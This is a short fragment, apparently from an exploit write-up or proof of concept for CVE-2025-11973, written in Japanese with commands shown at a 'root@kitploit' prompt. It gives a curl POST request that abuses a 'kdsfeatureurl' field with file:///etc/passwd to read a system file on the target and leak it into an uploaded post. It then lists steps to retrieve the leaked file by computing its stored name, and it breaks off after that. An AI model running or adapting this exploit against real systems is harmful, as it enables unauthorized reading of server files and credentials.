CVE-2025-11973

トリガー: /etc/passwd を file:// 経由で読み取り、アップロードに流出させる root@kitploit: curl -sS -A "$UA" -X POST "$BASE/?kdsflag=post" \ --data-urlencode "kdspassword=$SECRET" \ --data-urlencode "posttitle=sub1-lfi" \ --data-urlencode "kdsfeatureurl=file:///etc/passwd" 流出したファイルを取得する 保存されたファイル名を計算する root@kitploit:...